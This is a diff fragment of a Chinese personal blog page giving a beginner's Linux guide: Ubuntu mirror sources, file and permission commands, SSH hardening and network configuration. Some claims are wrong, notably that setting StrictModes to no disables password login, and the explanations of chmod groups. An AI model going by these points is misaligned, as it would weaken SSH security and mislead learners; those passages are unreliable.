content="linux系统的日常使用"><meta name=twitter:description content="linux发行版有很多，这里使用的是Ubuntu
 个人喜欢使用无界面版本（ubuntu-20.04-live-server-amd64）
 有关于树莓派的看这个
 修改为国内源
 nano /etc/apt/sources.list
 替换内容为
-# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
# 预发布软件源，不建议启用
# deb https://mirrors."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"linux系统的日常使用","item":"https://xiaochenabc123.github.io/posts/8/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"linux系统的日常使用","name":"linux系统的日常使用","description":"linux发行版有很多，这里使用的是Ubuntu\n个人喜欢使用无界面版本（ubuntu-20.04-live-server-amd64）\n有关于树莓派的看这个\n修改为国内源\nnano /etc/apt/sources.list\n替换内容为\n# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释\rdeb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse\r# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse\rdeb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse\r# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse\rdeb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse\r# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse\rdeb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse\r# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse\r# 预发布软件源，不建议启用\r# deb https://mirrors.","keywords":["Linux"],"articleBody":"linux发行版有很多，这里使用的是Ubuntu\n个人喜欢使用无界面版本（ubuntu-20.04-live-server-amd64）\n有关于树莓派的看这个\n修改为国内源\nnano /etc/apt/sources.list\n替换内容为\n# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释\rdeb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse\r# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse\rdeb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse\r# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse\rdeb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse\r# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse\rdeb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse\r# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse\r# 预发布软件源，不建议启用\r# deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-proposed main restricted universe multiverse\r# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-proposed main restricted universe multiverse\r注：该源为清华大学开源软件镜像站的,可以修改为其他镜像站的源\n163镜像源\n# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释\rdeb http://mirrors.163.com/ubuntu/ focal main restricted universe multiverse\rdeb http://mirrors.163.com/ubuntu/ focal-security main restricted universe multiverse\rdeb http://mirrors.163.com/ubuntu/ focal-updates main restricted universe multiverse\rdeb http://mirrors.163.com/ubuntu/ focal-backports main restricted universe multiverse\r# deb-src http://mirrors.163.com/ubuntu/ focal main restricted universe multiverse\r# deb-src http://mirrors.163.com/ubuntu/ focal-security main restricted universe multiverse\r# deb-src http://mirrors.163.com/ubuntu/ focal-updates main restricted universe multiverse\r# deb-src http://mirrors.163.com/ubuntu/ focal-backports main restricted universe multiverse\r# 预发布软件源，不建议启用\r# deb http://mirrors.163.com/ubuntu/ focal-proposed main restricted universe multiverse\r# deb-src http://mirrors.163.com/ubuntu/ focal-proposed main restricted universe multiverse\rsudo apt update #更新源 sudo apt upgrade #更新系统\n安装app\nsudo apt install App名字\n例如安装ssh服务：\napt update apt install openssh-server\npoweroff 立刻关机\nshutdown -h now 立刻关机\nshutdown -r now 立刻重启\nshutdown -r 10 10分钟后重启\nshutdown -r 1:00 当时间为1:00时重启\nwget 下载文件链接\n安装.deb文件\nsudo dpkg -i 文件名\n例如：\nsudo dpkg -i code_1.40.2-1574694120_amd64.deb\nclear 清除\nls和cd\ncd命令是前往指定目录\ncd ~ 前往目前使用的用户的Home目录（家目录）\ncd .. 返回上一级目录\ncd /etc/python3 前往指定目录\ncd - 返回刚刚所在的目录\ncd ../../ 向上返回两级目录\ncd ./ 前往当前目录\npwd 显示当前目录路径\nls -ah 将所有目录（包括隐藏目录）显示出来\n如果有很多层目录，那么需要一个绝对目录\n绝对目录：指目录的绝对位置，从根目录开始的路径，完整的描述文件位置的路径就是绝对路径 相对目录：指目标相对于当前文件的路径\nls (list 的简写)\nls 返回当前所在的目录的所有子目录和子文件\nls -l 返回文件的一些信息，权限，用户，文件大小，修改时间。文件名，total后面的数字是指这个目录下的文件数，包括隐藏文件\nls -a 显示所有文件，包括已经隐藏的文件(以 . 开头的)\nls -lh 这个指令和-l一样，返回权限，用户，文件大小，修改时间。文件名，不过文件大小是使用k，m这些来表示\nls –help 查看ls的全部功能\ncp，mv，touch，mkdir\ntouch 新建一个文件 例如： touch hallo.py\n如果想同时建立多个文件，那么输入多个文件的名字，使用空格分开，例如：\ntouch hello.py world.py\ncp 是复制文件或者文件夹的指令，使用方法：\ncp hello.py world.py\n注意: 如果复制的文件已经存在, 它将会直接覆盖已存在的文件，那么可以： cp -i hello.py world.py 在返回的提问中回复任何大小写形式的y或者yes，将执行覆盖操作，回复其他则取消这个执行\ncp -R hello/ world/ 复制文件夹\ncp go* gogo/ 复制所有的以go开头的文件到gogo文件夹中\ncp *go gogo/ 复制所有的以go结尾的文件到gogo文件夹中\nmv 是用来移动（剪切）文件\nmv 要移动的文件 要移动到的文件夹，例如：\nmv hello.py hello/\nmv world.py hallo.py 重命名文件\nmv –help 查看其他mv的用法\nmkdir hello 新建一个文件夹\nrmdir hello/world 删除hello目录下的world目录，不能删除有文件的文件夹，只能删除一个空的文件夹\nrm world/ 可以删除不是空的文件夹\nrm -i world/ 删除文件时提示\nrm -I world/ 删除超过3个文件时才提示，少于3个时不提示\nrm -r world/ 删除目录及目录下的所有文件及目录\nrm -rf world/ 删除目录下及目录下的所有文件及目录，没有提示地强制递归删除文件\nnano hallo.py nano是一个，^是ctrl键，例如ctal+x 是退出的指令\ncat hallo.py 输出一个文件的文本内容\ncat hallo.py \u003e world.py 把一个文件复制成另一个文件\ncat hallo.py hello.py \u003e world.py 把两个文件的内容合并到另一个文件\ncat world.py » gogo.py 补充到另一个文件的内容的后面\n文件权限 例如 drwxr-xr-x\nd是说明这是一个文件夹，如果是-那么就是说明这是一个文件\nrwx r 可读，w 可写， x 可执行，如果有是-说明当前使用的用户账号不能完成某一个操作，User是当前使用的用户\nr-x r 可读，w 不可写， x 可执行，说明Others这个组的用户不能完成写入的能力，没有写入的权限，Others是指当前用户所在的组\nr-x r 可读，w 不可写， x 可执行，说明User 和 Group 以外的人不能完成写入的能力，没有写入的权限，Others是除当前用户和组之外的人\n修改文件权限\nchmod u+r hallo.py\nchmod ug+rw hello.py 给当前用户添加可读权限\n+ 为加上某一个权限 - 为去掉某一个权限 = 为等于某个权限\nu: 对于 User 修改, g: 对于 Group 修改 o: 对于 Others 修改 a: 对于所有人修改\nchmod 755 hello.py 修改文件权限 u为rwx，可读可写可执行，g为r-x可读不可写可执行，o为r-x可读不可写可执行\nr=4，w=2，x=1\nifconfig 这个命令是用来查看当前linux设备的ip\nip addr 这个命令也是用来查看当前linux设备的ip的\napt-get install net-tools 安装网络工具，用于解决ip没有分配之类的网络管理工具\nexit 退出ssh控制\ntop 查看cpu占用的一些信息\nlinux-ssh安全配置\nssh安全\nlast -f /var/log/wtmp 查看IP登陆日志\n修改ssh端口\nnano /etc/ssh/sshd_config\n找到Port，修改端口，如果修改为2222，那么默认ssh连接端口为2222，原来的22端口报废（不能使用22端口登录了，计算机有65535个端口，扫描端口都要扫半天）\n禁止root用户ssh登录\n找到PermitRootLogin，把yes修改为no\n其他ssh安全配置\nLoginGraceTime 登录一次花费多少时间，当超过这个时间，则要求重新登录\nMaxAuthTries 限制尝试登录错误的次数，当超过这个次数之后拒绝登录尝试 MaxSessions 限制每个连接可以并行开启多少个会话\nStrictModes，修改为no，为禁用密码登录\n重启sshd服务 service ssh restart\nSSH密钥登录\nssh-keygen -t rsa -b 4096 生成私钥和公钥\n在.ssh的目录下有两个文件，id_rsa 为私钥，id_rsa.pub 为公钥\ncat ~/.ssh/id_rsa.pub » authorized_keys\n然后上传authorized_keys到服务器上\n上传文件可以用ftp或者scp\n例如 scp -P 2222 .\\authorized_keys pi@192.168.1.106:~/.ssh\n给.ssh目录和authorized_keys文件设置权限\nchmod -R 0700 ~/.ssh\nchmod -R 0644 ~/.ssh/authorized_keys\nssh pi@192.168.1.106 -p 2222\n就可以不用密码进行登录了\nlinux下Operation not permitted\n先看看文件权限ll，能使用root用户或者sudo最好，然后尝试chmod\n如果在root用户或者sudo下也不能对文件或者文件夹进行操作，那么\nchattr +i hello.py // 使用i属性来锁定文件，避免修改文件\nlsattr hello.py // 查看加锁\nchattr -i hello.py // 去除i属性，便可以修改该文件\na：可以修改文件，但是不能删除\ni: 不能删除，不能修改，不能移动\nifconfig // 查看网络配置，或者ip addr ls\n网卡配置文件在/etc/sysconfig/network-scripts下\n网卡配置文件名称一般为ifcfg-xxx\n默认为关闭的，需要使用DHCP获取ip，需要修改ONBOOT=no，修改为yes\n配置静态ip，需要修改BOOTPROTO为static\n添加下面内容\nIPADDR=192.168.186.128 // 设置IP地址 NETMASK=255.255.255.0 // 设置子网掩码 GATEWAY=192.168.186.1 // 设置网关 DNS1=114.114.114.114 // 设置dns\nnmcli c reload // 重启网络服务\nip addr // 查看本地IP地址以及其他网卡信息\nip link set dev eth0 up // 启用网卡 或者ifup eth0\nifconfig eth0 192.168.186.128 // 修改指定网卡的ip\nifconfig eth0 192.168.186.128 netmask 255.255.255.0 // 修改子网掩码\nroute -n // 显示和操作IP路由表\nroute add default gw 192.168.186.1 // 增加指定网关，其中的default是指0.0.0.0的，可自己选择想要的，例如route add -host 192.168.186.2 gw 192.168.186.1\nroute add -net 192.168.0.0 netmask 255.255.255.0 gw 192.168.186.1 // 设置网段的网关\nroute del default gw 192.168.186.1 // 删除指定网关\n","wordCount":"612","inLanguage":"en","datePublished":"2021-06-16T09:12:00Z","dateModified":"2021-06-16T09:12:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/8/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>linux系统的日常使用</h1><div class=post-meta><span title='2021-06-16 09:12:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/linux%e7%b3%bb%e7%bb%9f%e7%9a%84%e6%97%a5%e5%b8%b8%e4%bd%bf%e7%94%a8.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>linux发行版有很多，这里使用的是Ubuntu</p><p>个人喜欢使用无界面版本（ubuntu-20.04-live-server-amd64）</p><p>有关于树莓派的看这个</p><p>修改为国内源</p><p>nano /etc/apt/sources.list</p><p>替换内容为</p><pre><code># 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释
-deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe     multiverse
-# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
-deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
-# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
-deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
-# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
-deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
-# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
-
-# 预发布软件源，不建议启用
-# deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-proposed main restricted universe multiverse
-# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-proposed main restricted universe multiverse
-</code></pre><p>注：该源为清华大学开源软件镜像站的,可以修改为其他镜像站的源</p><p>163镜像源</p><pre><code># 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释
-deb http://mirrors.163.com/ubuntu/ focal main restricted universe multiverse
-deb http://mirrors.163.com/ubuntu/ focal-security main restricted universe multiverse
-deb http://mirrors.163.com/ubuntu/ focal-updates main restricted universe multiverse
-deb http://mirrors.163.com/ubuntu/ focal-backports main restricted universe multiverse
-# deb-src http://mirrors.163.com/ubuntu/ focal main restricted universe multiverse
-# deb-src http://mirrors.163.com/ubuntu/ focal-security main restricted universe multiverse
-# deb-src http://mirrors.163.com/ubuntu/ focal-updates main restricted universe multiverse
-# deb-src http://mirrors.163.com/ubuntu/ focal-backports main restricted universe multiverse
-# 预发布软件源，不建议启用
-# deb http://mirrors.163.com/ubuntu/ focal-proposed main restricted universe multiverse
-# deb-src http://mirrors.163.com/ubuntu/ focal-proposed main restricted universe multiverse
+# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释 deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # 预发布软件源，不建议启用 # deb https://mirrors."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"linux系统的日常使用","item":"https://chenjunlinabc.github.io/posts/8/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"linux系统的日常使用","name":"linux系统的日常使用","description":"linux发行版有很多，这里使用的是Ubuntu\n个人喜欢使用无界面版本（ubuntu-20.04-live-server-amd64）\n有关于树莓派的看这个\n修改为国内源\nnano /etc/apt/sources.list\n替换内容为\n# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释 deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # 预发布软件源，不建议启用 # deb https://mirrors.","keywords":["Linux"],"articleBody":"linux发行版有很多，这里使用的是Ubuntu\n个人喜欢使用无界面版本（ubuntu-20.04-live-server-amd64）\n有关于树莓派的看这个\n修改为国内源\nnano /etc/apt/sources.list\n替换内容为\n# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释 deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # 预发布软件源，不建议启用 # deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-proposed main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-proposed main restricted universe multiverse 注：该源为清华大学开源软件镜像站的,可以修改为其他镜像站的源\n163镜像源\n# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释 deb http://mirrors.163.com/ubuntu/ focal main restricted universe multiverse deb http://mirrors.163.com/ubuntu/ focal-security main restricted universe multiverse deb http://mirrors.163.com/ubuntu/ focal-updates main restricted universe multiverse deb http://mirrors.163.com/ubuntu/ focal-backports main restricted universe multiverse # deb-src http://mirrors.163.com/ubuntu/ focal main restricted universe multiverse # deb-src http://mirrors.163.com/ubuntu/ focal-security main restricted universe multiverse # deb-src http://mirrors.163.com/ubuntu/ focal-updates main restricted universe multiverse # deb-src http://mirrors.163.com/ubuntu/ focal-backports main restricted universe multiverse # 预发布软件源，不建议启用 # deb http://mirrors.163.com/ubuntu/ focal-proposed main restricted universe multiverse # deb-src http://mirrors.163.com/ubuntu/ focal-proposed main restricted universe multiverse sudo apt update #更新源 sudo apt upgrade #更新系统\n安装app\nsudo apt install App名字\n例如安装ssh服务：\napt update apt install openssh-server\npoweroff 立刻关机\nshutdown -h now 立刻关机\nshutdown -r now 立刻重启\nshutdown -r 10 10分钟后重启\nshutdown -r 1:00 当时间为1:00时重启\nwget 下载文件链接\n安装.deb文件\nsudo dpkg -i 文件名\n例如：\nsudo dpkg -i code_1.40.2-1574694120_amd64.deb\nclear 清除\nls和cd\ncd命令是前往指定目录\ncd ~ 前往目前使用的用户的Home目录（家目录）\ncd .. 返回上一级目录\ncd /etc/python3 前往指定目录\ncd - 返回刚刚所在的目录\ncd ../../ 向上返回两级目录\ncd ./ 前往当前目录\npwd 显示当前目录路径\nls -ah 将所有目录（包括隐藏目录）显示出来\n如果有很多层目录，那么需要一个绝对目录\n绝对目录：指目录的绝对位置，从根目录开始的路径，完整的描述文件位置的路径就是绝对路径 相对目录：指目标相对于当前文件的路径\nls (list 的简写)\nls 返回当前所在的目录的所有子目录和子文件\nls -l 返回文件的一些信息，权限，用户，文件大小，修改时间。文件名，total后面的数字是指这个目录下的文件数，包括隐藏文件\nls -a 显示所有文件，包括已经隐藏的文件(以 . 开头的)\nls -lh 这个指令和-l一样，返回权限，用户，文件大小，修改时间。文件名，不过文件大小是使用k，m这些来表示\nls –help 查看ls的全部功能\ncp，mv，touch，mkdir\ntouch 新建一个文件 例如： touch hallo.py\n如果想同时建立多个文件，那么输入多个文件的名字，使用空格分开，例如：\ntouch hello.py world.py\ncp 是复制文件或者文件夹的指令，使用方法：\ncp hello.py world.py\n注意: 如果复制的文件已经存在, 它将会直接覆盖已存在的文件，那么可以： cp -i hello.py world.py 在返回的提问中回复任何大小写形式的y或者yes，将执行覆盖操作，回复其他则取消这个执行\ncp -R hello/ world/ 复制文件夹\ncp go* gogo/ 复制所有的以go开头的文件到gogo文件夹中\ncp *go gogo/ 复制所有的以go结尾的文件到gogo文件夹中\nmv 是用来移动（剪切）文件\nmv 要移动的文件 要移动到的文件夹，例如：\nmv hello.py hello/\nmv world.py hallo.py 重命名文件\nmv –help 查看其他mv的用法\nmkdir hello 新建一个文件夹\nrmdir hello/world 删除hello目录下的world目录，不能删除有文件的文件夹，只能删除一个空的文件夹\nrm world/ 可以删除不是空的文件夹\nrm -i world/ 删除文件时提示\nrm -I world/ 删除超过3个文件时才提示，少于3个时不提示\nrm -r world/ 删除目录及目录下的所有文件及目录\nrm -rf world/ 删除目录下及目录下的所有文件及目录，没有提示地强制递归删除文件\nnano hallo.py nano是一个，^是ctrl键，例如ctal+x 是退出的指令\ncat hallo.py 输出一个文件的文本内容\ncat hallo.py \u003e world.py 把一个文件复制成另一个文件\ncat hallo.py hello.py \u003e world.py 把两个文件的内容合并到另一个文件\ncat world.py » gogo.py 补充到另一个文件的内容的后面\n文件权限 例如 drwxr-xr-x\nd是说明这是一个文件夹，如果是-那么就是说明这是一个文件\nrwx r 可读，w 可写， x 可执行，如果有是-说明当前使用的用户账号不能完成某一个操作，User是当前使用的用户\nr-x r 可读，w 不可写， x 可执行，说明Others这个组的用户不能完成写入的能力，没有写入的权限，Others是指当前用户所在的组\nr-x r 可读，w 不可写， x 可执行，说明User 和 Group 以外的人不能完成写入的能力，没有写入的权限，Others是除当前用户和组之外的人\n修改文件权限\nchmod u+r hallo.py\nchmod ug+rw hello.py 给当前用户添加可读权限\n+ 为加上某一个权限 - 为去掉某一个权限 = 为等于某个权限\nu: 对于 User 修改, g: 对于 Group 修改 o: 对于 Others 修改 a: 对于所有人修改\nchmod 755 hello.py 修改文件权限 u为rwx，可读可写可执行，g为r-x可读不可写可执行，o为r-x可读不可写可执行\nr=4，w=2，x=1\nifconfig 这个命令是用来查看当前linux设备的ip\nip addr 这个命令也是用来查看当前linux设备的ip的\napt-get install net-tools 安装网络工具，用于解决ip没有分配之类的网络管理工具\nexit 退出ssh控制\ntop 查看cpu占用的一些信息\nlinux-ssh安全配置\nssh安全\nlast -f /var/log/wtmp 查看IP登陆日志\n修改ssh端口\nnano /etc/ssh/sshd_config\n找到Port，修改端口，如果修改为2222，那么默认ssh连接端口为2222，原来的22端口报废（不能使用22端口登录了，计算机有65535个端口，扫描端口都要扫半天）\n禁止root用户ssh登录\n找到PermitRootLogin，把yes修改为no\n其他ssh安全配置\nLoginGraceTime 登录一次花费多少时间，当超过这个时间，则要求重新登录\nMaxAuthTries 限制尝试登录错误的次数，当超过这个次数之后拒绝登录尝试 MaxSessions 限制每个连接可以并行开启多少个会话\nStrictModes，修改为no，为禁用密码登录\n重启sshd服务 service ssh restart\nSSH密钥登录\nssh-keygen -t rsa -b 4096 生成私钥和公钥\n在.ssh的目录下有两个文件，id_rsa 为私钥，id_rsa.pub 为公钥\ncat ~/.ssh/id_rsa.pub » authorized_keys\n然后上传authorized_keys到服务器上\n上传文件可以用ftp或者scp\n例如 scp -P 2222 .\\authorized_keys pi@192.168.1.106:~/.ssh\n给.ssh目录和authorized_keys文件设置权限\nchmod -R 0700 ~/.ssh\nchmod -R 0644 ~/.ssh/authorized_keys\nssh pi@192.168.1.106 -p 2222\n就可以不用密码进行登录了\nlinux下Operation not permitted\n先看看文件权限ll，能使用root用户或者sudo最好，然后尝试chmod\n如果在root用户或者sudo下也不能对文件或者文件夹进行操作，那么\nchattr +i hello.py // 使用i属性来锁定文件，避免修改文件\nlsattr hello.py // 查看加锁\nchattr -i hello.py // 去除i属性，便可以修改该文件\na：可以修改文件，但是不能删除\ni: 不能删除，不能修改，不能移动\nifconfig // 查看网络配置，或者ip addr ls\n网卡配置文件在/etc/sysconfig/network-scripts下\n网卡配置文件名称一般为ifcfg-xxx\n默认为关闭的，需要使用DHCP获取ip，需要修改ONBOOT=no，修改为yes\n配置静态ip，需要修改BOOTPROTO为static\n添加下面内容\nIPADDR=192.168.186.128 // 设置IP地址 NETMASK=255.255.255.0 // 设置子网掩码 GATEWAY=192.168.186.1 // 设置网关 DNS1=114.114.114.114 // 设置dns\nnmcli c reload // 重启网络服务\nip addr // 查看本地IP地址以及其他网卡信息\nip link set dev eth0 up // 启用网卡 或者ifup eth0\nifconfig eth0 192.168.186.128 // 修改指定网卡的ip\nifconfig eth0 192.168.186.128 netmask 255.255.255.0 // 修改子网掩码\nroute -n // 显示和操作IP路由表\nroute add default gw 192.168.186.1 // 增加指定网关，其中的default是指0.0.0.0的，可自己选择想要的，例如route add -host 192.168.186.2 gw 192.168.186.1\nroute add -net 192.168.0.0 netmask 255.255.255.0 gw 192.168.186.1 // 设置网段的网关\nroute del default gw 192.168.186.1 // 删除指定网关\n","wordCount":"612","inLanguage":"en","datePublished":"2021-06-16T09:12:00Z","dateModified":"2021-06-16T09:12:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/8/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" 